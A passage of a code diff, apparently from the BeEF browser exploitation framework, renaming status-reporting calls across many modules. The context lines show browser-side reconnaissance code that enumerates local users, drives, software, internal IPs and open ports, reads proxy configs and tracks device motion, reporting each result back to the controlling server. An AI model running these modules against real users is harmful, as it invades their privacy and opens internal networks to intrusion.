%>&port=<%= @port %>&airdroid='+result, beef.are.status_error()); + beef.net.send('<%= @command_url %>', <%= @command_id %>,'proto=http&ip=<%= @ipHost %>&port=<%= @port %>&airdroid='+result, beef.status.error()); dom.removeChild(this); } dom.appendChild(img); diff --git a/modules/host/detect_coupon_printer/command.js b/modules/host/detect_coupon_printer/command.js index 497ec5b1a..b346f4007 100644 --- a/modules/host/detect_coupon_printer/command.js +++ b/modules/host/detect_coupon_printer/command.js @@ -8,7 +8,7 @@ beef.execute(function() { if (!beef.browser.hasWebSocket()) { beef.debug('[Detect Coupon Printer] Error: browser does not support WebSockets'); - beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=unsupported browser", beef.are.status_error()); + beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=unsupported browser", beef.status.error()); } //var url = 'ws://127.0.0.1:2687'; @@ -33,7 +33,7 @@ beef.execute(function() { socket.onerror = function(error) { beef.debug('[Detect Coupon Printer] WebSocket Error: ' + JSON.stringify(error)); - beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=could not detect coupon printer", beef.are.status_error()); + beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=could not detect coupon printer", beef.status.error()); }; socket.onclose = function(event) { @@ -46,13 +46,13 @@ beef.execute(function() { var result = JSON.parse(event.data); if (result['GetVersion']) { beef.debug('[Detect Coupon Printer] Version: ' + result['GetVersion']); - beef.net.send("<%= @command_url %>", <%= @command_id %>, "GetVersion=" + result['GetVersion'], beef.are.status_success()); + beef.net.send("<%= @command_url %>", <%= @command_id %>, "GetVersion=" + result['GetVersion'], beef.status.success()); } else if (result['GetDeviceID']) { beef.debug('[Detect Coupon Printer] Device ID: ' + result['GetDeviceID']); - beef.net.send("<%= @command_url %>", <%= @command_id %>, "GetDeviceID=" + result['GetDeviceID'], beef.are.status_success()); + beef.net.send("<%= @command_url %>", <%= @command_id %>, "GetDeviceID=" + result['GetDeviceID'], beef.status.success()); } else if (result['CheckPrinter']) { beef.debug('[Detect Coupon Printer] Printer: ' + result['CheckPrinter']); - beef.net.send("<%= @command_url %>", <%= @command_id %>, "CheckPrinter=" + result['CheckPrinter'], beef.are.status_success()); + beef.net.send("<%= @command_url %>", <%= @command_id %>, "CheckPrinter=" + result['CheckPrinter'], beef.status.success()); } } catch(e) { beef.debug('Could not parse WebSocket response JSON: ' + event.data); diff --git a/modules/host/detect_cups/command.js b/modules/host/detect_cups/command.js index f1707124a..e69959566 100644 --- a/modules/host/detect_cups/command.js +++ b/modules/host/detect_cups/command.js @@ -12,11 +12,11 @@ beef.execute(function() { img.src = "http://<%= @ipHost %>:<%= @port %>/images/cups-icon.png"; img.onload = function() { if (this.width == 128 && this.height == 128) result="Installed"; - beef.net.send('<%= @command_url %>', <%= @command_id %>,'proto=http&ip=<%= @ipHost %>&port=<%= @port %>&cups='+result, beef.are.status_success()); + beef.net.send('<%= @command_url %>', <%= @command_id %>,'proto=http&ip=<%= @ipHost %>&port=<%= @port %>&cups='+result, beef.status.success()); dom.removeChild(this); } img.onerror = function() { - beef.net.send('<%= @command_url %>', <%= @command_id %>,'proto=http&ip=<%= @ipHost %>&port=<%= @port %>&cups='+result, beef.are.status_error()); + beef.net.send('<%= @command_url %>', <%= @command_id %>,'proto=http&ip=<%= @ipHost %>&port=<%= @port %>&cups='+result, beef.status.error()); dom.removeChild(this); } dom.appendChild(img); diff --git a/modules/host/detect_google_desktop/command.js b/modules/host/detect_google_desktop/command.js index 3f1d7e0fd..f8ca25582 100644 --- a/modules/host/detect_google_desktop/command.js +++ b/modules/host/detect_google_desktop/command.js @@ -9,8 +9,8 @@ beef.execute(function() { var dom = document.createElement('b'); var img = new Image; img.src = "http://127.0.0.1:4664/logo3.gif"; - img.onload = function() { beef.net.send('<%= @command_url %>', <%= @command_id %>,'google_desktop=Installed', beef.are.status_success());dom.removeChild(this); } - img.onerror = function() { beef.net.send('<%= @command_url %>', <%= @command_id %>,'google_desktop=Not Installed', beef.are.status_error());dom.removeChild(this); } + img.onload = function() { beef.net.send('<%= @command_url %>', <%= @command_id %>,'google_desktop=Installed', beef.status.success());dom.removeChild(this); } + img.onerror = function() { beef.net.send('<%= @command_url %>', <%= @command_id %>,'google_desktop=Not Installed', beef.status.error());dom.removeChild(this); } dom.appendChild(img); }); diff --git a/modules/host/detect_local_drives/command.js b/modules/host/detect_local_drives/command.js index fc041a309..a5fa598fa 100644 --- a/modules/host/detect_local_drives/command.js +++ b/modules/host/detect_local_drives/command.js @@ -8,7 +8,7 @@ beef.execute(function() { if (!("ActiveXObject" in window)) { beef.debug('[Detect Users] Unspported browser'); - beef.net.send('<%= @command_url %>', <%= @command_id %>,'fail=unsupported browser', beef.are.status_error()); + beef.net.send('<%= @command_url %>', <%= @command_id %>,'fail=unsupported browser', beef.status.error()); return false; } @@ -32,7 +32,7 @@ beef.execute(function() { var result = detect_drive(drive); if (result) { beef.debug('[Detect Local Drives] Found drive: ' + drive); - beef.net.send('<%= @command_url %>', <%= @command_id %>,'result=Found drive: ' + drive, beef.are.status_success()); + beef.net.send('<%= @command_url %>', <%= @command_id %>,'result=Found drive: ' + drive, beef.status.success()); } } diff --git a/modules/host/detect_software/command.js b/modules/host/detect_software/command.js index 1e8f78285..cba03f005 100644 --- a/modules/host/detect_software/command.js +++ b/modules/host/detect_software/command.js @@ -8,7 +8,7 @@ beef.execute(function() { if (!("ActiveXObject" in window)) { beef.debug('[Detect Software] Unspported browser'); - beef.net.send('<%= @command_url %>', <%= @command_id %>,'fail=unsupported browser', beef.are.status_error()); + beef.net.send('<%= @command_url %>', <%= @command_id %>,'fail=unsupported browser', beef.status.error()); return false; } diff --git a/modules/host/detect_users/command.js b/modules/host/detect_users/command.js index 148c07174..9c3fd2403 100644 --- a/modules/host/detect_users/command.js +++ b/modules/host/detect_users/command.js @@ -8,7 +8,7 @@ beef.execute(function() { if (!("ActiveXObject" in window)) { beef.debug('[Detect Users] Unspported browser'); - beef.net.send('<%= @command_url %>', <%= @command_id %>,'fail=unsupported browser', beef.are.status_error()); + beef.net.send('<%= @command_url %>', <%= @command_id %>,'fail=unsupported browser', beef.status.error()); return false; } @@ -43,7 +43,7 @@ beef.execute(function() { if (home_dir == '') { beef.debug('[Detect Users] Could not find home directory'); - beef.net.send('<%= @command_url %>', <%= @command_id %>,'fail=could not find home directory', beef.are.status_error()); + beef.net.send('<%= @command_url %>', <%= @command_id %>,'fail=could not find home directory', beef.status.error()); return false; } @@ -64,7 +64,7 @@ beef.execute(function() { var result = detect_folder(home_dir + user); if (result) { beef.debug('[Detect Users] Found user: ' + user); - beef.net.send('<%= @command_url %>', <%= @command_id %>,'result=Found user: ' + user, beef.are.status_success()); + beef.net.send('<%= @command_url %>', <%= @command_id %>,'result=Found user: ' + user, beef.status.success()); } } @@ -83,7 +83,7 @@ beef.execute(function() { var result = detect_folder(home_dir + user); if (result) { beef.debug('[Detect Users] Found user: ' + user); - beef.net.send('<%= @command_url %>', <%= @command_id %>,'result=Found user: ' + user, beef.are.status_success()); + beef.net.send('<%= @command_url %>', <%= @command_id %>,'result=Found user: ' + user, beef.status.success()); } } @@ -96,7 +96,7 @@ beef.execute(function() { var result = detect_folder(home_dir + user); if (result) { beef.debug('[Detect Users] Found user: ' + user); - beef.net.send('<%= @command_url %>', <%= @command_id %>,'result=Found user: ' + user, beef.are.status_success()); + beef.net.send('<%= @command_url %>', <%= @command_id %>,'result=Found user: ' + user, beef.status.success()); } } } @@ -110,7 +110,7 @@ beef.execute(function() { var result = detect_folder(home_dir + user); if (result) { beef.debug('[Detect Users] Found user: ' + user); - beef.net.send('<%= @command_url %>', <%= @command_id %>,'result=Found user: ' + user, beef.are.status_success()); + beef.net.send('<%= @command_url %>', <%= @command_id %>,'result=Found user: ' + user, beef.status.success()); } } } @@ -124,7 +124,7 @@ beef.execute(function() { var result = detect_folder(home_dir + user); if (result) { beef.debug('[Detect Users] Found user: ' + user); - beef.net.send('<%= @command_url %>', <%= @command_id %>,'result=Found user: ' + user, beef.are.status_success()); + beef.net.send('<%= @command_url %>', <%= @command_id %>,'result=Found user: ' + user, beef.status.success()); } } } @@ -138,7 +138,7 @@ beef.execute(function() { var result = detect_folder(home_dir + user); if (result) { beef.debug('[Detect Users] Found user: ' + user); - beef.net.send('<%= @command_url %>', <%= @command_id %>,'result=Found user: ' + user, beef.are.status_success()); + beef.net.send('<%= @command_url %>', <%= @command_id %>,'result=Found user: ' + user, beef.status.success()); } } } diff --git a/modules/host/get_internal_ip_webrtc/command.js b/modules/host/get_internal_ip_webrtc/command.js index 8a3dfcca1..8514bd289 100755 --- a/modules/host/get_internal_ip_webrtc/command.js +++ b/modules/host/get_internal_ip_webrtc/command.js @@ -32,7 +32,7 @@ beef.execute(function() { }; iceGatherer.onerror = function (e) { beef.debug("ICE Gatherer Failed"); - beef.net.send('<%= @command_url %>', <%= @command_id %>, "ICE Gatherer Failed", beef.are.status_error()); + beef.net.send('<%= @command_url %>', <%= @command_id %>, "ICE Gatherer Failed", beef.status.error()); }; } else { // Construct RTC peer connection @@ -61,15 +61,12 @@ beef.execute(function() { retResults(); }, function (e) { beef.debug("SDP Offer Failed"); - beef.net.send('<%= @command_url %>', <%= @command_id %>, "SDP Offer Failed", beef.are.status_error()); + beef.net.send('<%= @command_url %>', <%= @command_id %>, "SDP Offer Failed", beef.status.error()); }); }; function retResults(){ var displayAddrs = Object.keys(addrs).filter(function (k) { return addrs[k]; }); - - // This is for the ARE, as this module is async, so we can't just return as we would in a normal sync way - get_internal_ip_webrtc_mod_output = [beef.are.status_success(), displayAddrs.join(",")]; } // Return results @@ -78,7 +75,7 @@ beef.execute(function() { else addrs[newAddr] = true; var displayAddrs = Object.keys(addrs).filter(function (k) { return addrs[k]; }); beef.debug("Found IPs: "+ displayAddrs.join(",")); - beef.net.send('<%= @command_url %>', <%= @command_id %>, "IP is " + displayAddrs.join(","), beef.are.status_success()); + beef.net.send('<%= @command_url %>', <%= @command_id %>, "IP is " + displayAddrs.join(","), beef.status.success()); } @@ -99,6 +96,6 @@ beef.execute(function() { }); } }else { - beef.net.send('<%= @command_url %>', <%= @command_id %>, "Browser doesn't appear to support RTCPeerConnection", beef.are.status_error()); + beef.net.send('<%= @command_url %>', <%= @command_id %>, "Browser doesn't appear to support RTCPeerConnection", beef.status.error()); } }); diff --git a/modules/host/get_system_info_java/command.js b/modules/host/get_system_info_java/command.js index e12554d25..9b5742dd5 100644 --- a/modules/host/get_system_info_java/command.js +++ b/modules/host/get_system_info_java/command.js @@ -20,7 +20,7 @@ beef.execute(function() { output = document.getSystemInfo.getInfo(); if (output) { beef.debug('[Get System Info (Java)] Retrieved system info: ' + output); - beef.net.send('<%= @command_url %>', <%= @command_id %>, 'system_info='+output.replace(/\n/g,"
"), beef.are.status_success()); + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'system_info='+output.replace(/\n/g,"
"), beef.status.success()); beef.dom.detachApplet('getSystemInfo'); return; } @@ -28,7 +28,7 @@ beef.execute(function() { internal_counter = internal_counter + 5; if (internal_counter > timeout) { beef.debug('[Get System Info (Java)] Timeout after ' + timeout + ' seconds'); - beef.net.send('<%= @command_url %>', <%= @command_id %>, 'system_info=Timeout after ' + timeout + ' seconds', beef.are.status_error()); + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'system_info=Timeout after ' + timeout + ' seconds', beef.status.error()); beef.dom.detachApplet('getSystemInfo'); return; } diff --git a/modules/host/physical_location_thirdparty/command.js b/modules/host/physical_location_thirdparty/command.js index 72c195729..437fa5f40 100644 --- a/modules/host/physical_location_thirdparty/command.js +++ b/modules/host/physical_location_thirdparty/command.js @@ -9,12 +9,12 @@ beef.execute(function() { var timeout = 10000; if (!beef.browser.hasCors()) { - beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=Browser does not support CORS', beef.are.status_error()); + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=Browser does not support CORS', beef.status.error()); return; } beef.net.cors.request('GET', url, '', timeout, function(response) { beef.debug("[Get Physical Location (Third-Party] " + response.body); - beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=" + response.body, beef.are.status_success()); + beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=" + response.body, beef.status.success()); }); }); diff --git a/modules/misc/track_physical_movement/command.js b/modules/misc/track_physical_movement/command.js index d11be50fb..b8bb523a7 100644 --- a/modules/misc/track_physical_movement/command.js +++ b/modules/misc/track_physical_movement/command.js @@ -11,7 +11,7 @@ beef.execute(function() { if (!beef.hardware.isMobileDevice()) { beef.debug(result); - beef.net.send("<%= @command_url %>", <%= @command_id %>, 'fail=' + result, beef.are.status_error()); + beef.net.send("<%= @command_url %>", <%= @command_id %>, 'fail=' + result, beef.status.error()); } var historicMotion = { @@ -30,7 +30,7 @@ beef.execute(function() { status = new_status; beef.debug(new_status); - beef.net.send("<%= @command_url %>", <%= @command_id %>, 'result=' + new_status, beef.are.status_success()); + beef.net.send("<%= @command_url %>", <%= @command_id %>, 'result=' + new_status, beef.status.success()); } function updateStatus() { diff --git a/modules/misc/wordpress/wp.js b/modules/misc/wordpress/wp.js index 9226cc526..990fd7d6e 100644 --- a/modules/misc/wordpress/wp.js +++ b/modules/misc/wordpress/wp.js @@ -9,8 +9,8 @@ // Also, could have all that in as WP.prototype ? function log(data, status = null) { - if (status == 'error') { status = beef.are.status_error(); } - if (status == 'success') { status = beef.are.status_success(); } + if (status == 'error') { status = beef.status.error(); } + if (status == 'success') { status = beef.status.success(); } beef.net.send(beef_command_url, beef_command_id, data, status); beef.debug(data); diff --git a/modules/network/cross_origin_scanner_cors/command.js b/modules/network/cross_origin_scanner_cors/command.js index bb4049f0c..3600453d8 100644 --- a/modules/network/cross_origin_scanner_cors/command.js +++ b/modules/network/cross_origin_scanner_cors/command.js @@ -14,7 +14,7 @@ beef.execute(function() { var wait = parseInt("<%= @wait %>", 10)*1000; if(!beef.browser.hasCors()) { - beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=Browser does not support CORS', beef.are.status_error()); + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=Browser does not support CORS', beef.status.error()); return; } @@ -48,7 +48,7 @@ beef.execute(function() { // set target IP range var range = ipRange.match('^([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\-([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))$'); if (range == null || range[1] == null) { - beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=malformed IP range supplied", beef.are.status_error()); + beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=malformed IP range supplied", beef.status.error()); return; } // ipRange will be in the form of 192.168.0.1-192.168.0.254 @@ -111,7 +111,7 @@ beef.execute(function() { 'if (response != null && response["status"] != 0) {' + 'beef.debug("[Cross-Origin Scanner (CORS)] Received response from '+url+': " + JSON.stringify(response));' + 'var title = response["body"].match("(.*?)<\\/title>"); if (title != null) title = title[1];' + - 'beef.net.send("<%= @command_url %>", <%= @command_id %>, "proto='+proto+'&ip='+ips[i]+'&port='+ports[p]+'&status="+response["status"]+"&title="+title+"&response="+JSON.stringify(response), beef.are.status_success());' + + 'beef.net.send("<%= @command_url %>", <%= @command_id %>, "proto='+proto+'&ip='+ips[i]+'&port='+ports[p]+'&status="+response["status"]+"&title="+title+"&response="+JSON.stringify(response), beef.status.success());' + '}' + '});' ); diff --git a/modules/network/cross_origin_scanner_flash/command.js b/modules/network/cross_origin_scanner_flash/command.js index a075f6920..a482175e3 100644 --- a/modules/network/cross_origin_scanner_flash/command.js +++ b/modules/network/cross_origin_scanner_flash/command.js @@ -14,7 +14,7 @@ beef.execute(function() { // check if Flash is installed (not always reliable) if(!beef.browser.hasFlash()) { - beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=Browser does not support Flash', beef.are.status_error()); + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=Browser does not support Flash', beef.status.error()); return; } @@ -48,7 +48,7 @@ beef.execute(function() { // set target IP range var range = ipRange.match('^([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\-([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))$'); if (range == null || range[1] == null) { - beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=malformed IP range supplied", beef.are.status_error()); + beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=malformed IP range supplied", beef.status.error()); return; } // ipRange will be in the form of 192.168.0.1-192.168.0.254 @@ -123,7 +123,7 @@ beef.execute(function() { 'beef.debug("[Cross-Origin Scanner (Flash)] Received data ["+host+":"+port+"]: " + data);' + 'if (data.match("securityErrorHandler")) {' + - ' beef.net.send("<%= @command_url %>", <%= @command_id %>, "ip="+host+"&status=alive", beef.are.status_success());' + + ' beef.net.send("<%= @command_url %>", <%= @command_id %>, "ip="+host+"&status=alive", beef.status.success());' + '}' + 'if (!data.match("Hijacked Contents:")) return;' + @@ -135,7 +135,7 @@ beef.execute(function() { '}' + 'beef.debug("proto="+proto+"&ip="+host+"&port="+port+"&title="+title+"&response="+response);' + - 'beef.net.send("<%= @command_url %>", <%= @command_id %>, "proto="+proto+"&ip="+host+"&port="+port+"&title="+title+"&response="+response, beef.are.status_success());' + + 'beef.net.send("<%= @command_url %>", <%= @command_id %>, "proto="+proto+"&ip="+host+"&port="+port+"&title="+title+"&response="+response, beef.status.success());' + ' }', url); } catch(e) { beef.debug("[Cross-Origin Scanner (Flash)] Could not create object: " + e.message); diff --git a/modules/network/detect_burp/command.js b/modules/network/detect_burp/command.js index 8f90ab123..895d2519c 100644 --- a/modules/network/detect_burp/command.js +++ b/modules/network/detect_burp/command.js @@ -18,10 +18,10 @@ beef.execute(function() { var response = FindProxyForURL('', ''); beef.debug("Response: " + response); beef.net.send("<%= @command_url %>", <%= @command_id %>, - "has_burp=true&response=" + response, beef.are.status_success()); + "has_burp=true&response=" + response, beef.status.success()); } catch(e) { beef.debug("Response: " + e.message); - beef.net.send("<%= @command_url %>", <%= @command_id %>, "has_burp=false", beef.are.status_error()); + beef.net.send("<%= @command_url %>", <%= @command_id %>, "has_burp=false", beef.status.error()); } } diff --git a/modules/network/fetch_port_scanner/command.js b/modules/network/fetch_port_scanner/command.js index ba4c9f521..a7ee3198d 100644 --- a/modules/network/fetch_port_scanner/command.js +++ b/modules/network/fetch_port_scanner/command.js @@ -62,7 +62,7 @@ beef.execute(function() { function fetch_scan(hostname, port_) { // check if port that is to be scanned is part of the banned list and report back to the BeEF server if (check_blocked(parseInt(port_))) { - beef.net.send("<%= @command_url %>", <%= @command_id %>, port_+": is a blocked port and won't be scanned", beef.are.status_success()); + beef.net.send("<%= @command_url %>", <%= @command_id %>, port_+": is a blocked port and won't be scanned", beef.status.success()); return; } // define an AbortController to handle timeouts and to terminate connections [currently set to 5 seconds] @@ -84,14 +84,14 @@ beef.execute(function() { // If there is a status returned then Mozilla Firefox 68.5.0esr made a successful connection HTTP based or not // and or Chrome received HTTP based traffic. if (res.status === 0) { - beef.net.send("<%= @command_url %>", <%= @command_id %>, port_+": port is open", beef.are.status_success()); + beef.net.send("<%= @command_url %>", <%= @command_id %>, port_+": port is open", beef.status.success()); } }) // If an error occurred with the fetch this could be due to reaching the time out, the port being closed or non HTTP traffic. .catch(err => { // Alert BeEF if we are giving up due to the port not responding for N seconds if (signal.aborted === true) { - beef.net.send("<%= @command_url %>", <%= @command_id %>, port_+": Giving up on port due to Timeout", beef.are.status_success()); + beef.net.send("<%= @command_url %>", <%= @command_id %>, port_+": Giving up on port due to Timeout", beef.status.success()); } else { // We need to capture how long it took to fail ASAP to get an idea on timing differences @@ -101,14 +101,14 @@ beef.execute(function() { if (isFirefox === true) { if (navigator.platform === 'Win32') { if ((end - start) > 600 ) { - beef.net.send("<%= @command_url %>", <%= @command_id %>, port_+": port is closed", beef.are.status_success()); + beef.net.send("<%= @command_url %>", <%= @command_id %>, port_+": port is closed", beef.status.success()); } else { - beef.net.send("<%= @command_url %>", <%= @command_id %>, port_+": port is open but not HTTP", beef.are.status_success()); + beef.net.send("<%= @command_url %>", <%= @command_id %>, port_+": port is open but not HTTP", beef.status.success()); } } else { - beef.net.send("<%= @command_url %>", <%= @command_id %>, port_+": port is closed", beef.are.status_success()); + beef.net.send("<%= @command_url %>", <%= @command_id %>, port_+": port is closed", beef.status.success()); } } else { @@ -118,23 +118,23 @@ beef.execute(function() { // // check if windows or linux if (navigator.platform === 'Win32') { if ((end - start) > 121 ) { - beef.net.send("<%= @command_url %>", <%= @command_id %>, port_+": port is closed", beef.are.status_success()); + beef.net.send("<%= @command_url %>", <%= @command_id %>, port_+": port is closed", beef.status.success()); } else { - beef.net.send("<%= @command_url %>", <%= @command_id %>, port_+": port is open but does not communicate via HTTP", beef.are.status_success()); + beef.net.send("<%= @command_url %>", <%= @command_id %>, port_+": port is open but does not communicate via HTTP", beef.status.success()); } } else if (navigator.platform.toLowerCase().includes('linux')) { // this is for linux if ((end - start) < 11 ) { - beef.net.send("<%= @command_url %>", <%= @command_id %>, port_+": port is closed", beef.are.status_success()); + beef.net.send("<%= @command_url %>", <%= @command_id %>, port_+": port is closed", beef.status.success()); } else { - beef.net.send("<%= @command_url %>", <%= @command_id %>, port_+": port is open but does not communicate via HTTP", beef.are.status_success()); + beef.net.send("<%= @command_url %>", <%= @command_id %>, port_+": port is open but does not communicate via HTTP", beef.status.success()); } } else { - beef.net.send("<%= @command_url %>", <%= @command_id %>,"Module hasn't been tested against this browser.", beef.are.status_success()); + beef.net.send("<%= @command_url %>", <%= @command_id %>,"Module hasn't been tested against this browser.", beef.status.success()); } } } diff --git a/modules/network/get_http_servers/command.js b/modules/network/get_http_servers/command.js index 19bf9aa1d..ae5de8db8 100644 --- a/modules/network/get_http_servers/command.js +++ b/modules/network/get_http_servers/command.js @@ -15,7 +15,7 @@ beef.execute(function() { if(beef.browser.isO()) { beef.debug("[Favicon Scanner] Browser is not supported."); - beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=unsupported browser", beef.are.status_error()); + beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=unsupported browser", beef.status.error()); return; } @@ -39,7 +39,7 @@ beef.execute(function() { } ports = sort_unique(target_ports); if (ports.length == 0) { - beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=no ports specified", beef.are.status_error()); + beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=no ports specified", beef.status.error()); return; } @@ -79,7 +79,7 @@ beef.execute(function() { } ips = sort_unique(target_ips); if (ips.length == 0) { - beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=malformed target IP address(es) supplied", beef.are.status_error()); + beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=malformed target IP address(es) supplied", beef.status.error()); return; } } @@ -93,7 +93,7 @@ beef.execute(function() { img.src = proto+"://"+ip+":"+port+uri; img.onerror = function() { dom.removeChild(this); } img.onload = function() { - beef.net.send('<%= @command_url %>', <%= @command_id %>,'proto='+proto+'&ip='+ip+'&port='+port+"&url="+escape(this.src), beef.are.status_success());dom.removeChild(this); + beef.net.send('<%= @command_url %>', <%= @command_id %>,'proto='+proto+'&ip='+ip+'&port='+port+"&url="+escape(this.src), beef.status.success());dom.removeChild(this); beef.debug("[Favicon Scanner] Found HTTP Server [" + escape(this.src) + "]"); } dom.appendChild(img); diff --git a/modules/network/get_ntop_network_hosts/command.js b/modules/network/get_ntop_network_hosts/command.js index 38104bc63..3e4dd07af 100644 --- a/modules/network/get_ntop_network_hosts/command.js +++ b/modules/network/get_ntop_network_hosts/command.js @@ -20,10 +20,10 @@ beef.execute(function() { try { var result = JSON.stringify(ntopDict); beef.debug("[Get ntop Network Hosts] Success: Found ntop data (" + result.length + ' bytes)'); - beef.net.send("<%= @command_url %>", <%= @command_id %>, "proto=http&ip=<%= @rhost %>&port=<%= @rport %>&data="+result, beef.are.status_success()); + beef.net.send("<%= @command_url %>", <%= @command_id %>, "proto=http&ip=<%= @rhost %>&port=<%= @rport %>&data="+result, beef.status.success()); } catch(e) { beef.debug("[Get ntop Network Hosts] Error: Did not find ntop"); - beef.net.send("<%= @command_url %>", <%= @command_id %>, 'result=did not find ntop', beef.are.status_error()); + beef.net.send("<%= @command_url %>", <%= @command_id %>, 'result=did not find ntop', beef.status.error()); return; } } diff --git a/modules/network/get_proxy_servers_wpad/command.js b/modules/network/get_proxy_servers_wpad/command.js index b06631533..ea84c809e 100644 --- a/modules/network/get_proxy_servers_wpad/command.js +++ b/modules/network/get_proxy_servers_wpad/command.js @@ -18,7 +18,7 @@ beef.execute(function() { if (typeof FindProxyForURL === 'function') { var wpad = FindProxyForURL.toString(); beef.debug("[Get Proxy Servers] Success: Found wpad (" + wpad.length + ' bytes)'); - beef.net.send("<%= @command_url %>", <%= @command_id %>, "has_wpad=true&wpad="+wpad, beef.are.status_success()); + beef.net.send("<%= @command_url %>", <%= @command_id %>, "has_wpad=true&wpad="+wpad, beef.status.success()); } else { beef.debug("[Get Proxy Servers] Error: Did not find wpad"); beef.net.send("<%= @command_url %>", <%= @command_id %>, "has_wpad=false"); @@ -38,7 +38,7 @@ beef.execute(function() { return; } beef.debug("[Get Proxy Servers] Found "+proxies.length+" proxies: " + proxies.join(',')); - beef.net.send("<%= @command_url %>", <%= @command_id %>, "proxies=" + proxies.join(','), beef.are.status_success()); + beef.net.send("<%= @command_url %>", <%= @command_id %>, "proxies=" + proxies.join(','), beef.status.success()); } load_script("http://wpad/wpad.dat"); diff --git a/modules/network/identify_lan_subnets/command.js b/modules/network/identify_lan_subnets/command.js index ad0cb8b39..20bc58f18 100644 --- a/modules/network/identify_lan_subnets/command.js +++ b/modules/network/identify_lan_subnets/command.js @@ -8,7 +8,7 @@ beef.execute(function() { if(!beef.browser.isFF() && !beef.browser.isC()){ beef.debug("[command #<%= @command_id %>] Browser is not supported."); - beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=unsupported browser", beef.are.status_error()); + beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=unsupported browser", beef.status.error()); } var min_timeout = 500; @@ -102,13 +102,13 @@ var doScan = function(timeout) { beef.debug("Returned large hit rate (" + discovered_hosts.length + " of " + count + ") indicating low network latency. Retrying scan with decreased timeout (" + (timeout - 500) + "ms)"); doScan(timeout-500); } else { - beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=unexpected results&hosts="+hosts, beef.are.status_error()); + beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=unexpected results&hosts="+hosts, beef.status.error()); } } else if (discovered_hosts.length == 0) { - beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=no results", beef.are.status_error()); + beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=no results", beef.status.error()); } else { beef.debug("[command #<%= @command_id %>] Identifying LAN hosts completed."); - beef.net.send('<%= @command_url %>', <%= @command_id %>, 'hosts='+hosts, beef.are.status_success()); + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'hosts='+hosts, beef.status.success()); beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=scan complete"); } } diff --git a/modules/network/internal_network_fingerprinting/command.js b/modules/network/internal_network_fingerprinting/command.js index 089f8b134..89f50ec0e 100644 --- a/modules/network/internal_network_fingerprinting/command.js +++ b/modules/network/internal_network_fingerprinting/command.js @@ -42,7 +42,7 @@ beef.execute(function() { // set target IP range var range = ipRange.match('^([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\-([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))$'); if (range == null || range[1] == null) { - beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=malformed IP range supplied", beef.are.status_error()); + beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=malformed IP range supplied", beef.status.error()); return; } // ipRange will be in the form of 192.168.0.1-192.168.0.254 @@ -300,7 +300,7 @@ beef.execute(function() { img.onerror = function() { dom.removeChild(this); } img.onload = function() { if (this.width == urls[this.id][5] && this.height == urls[this.id][6]) { - 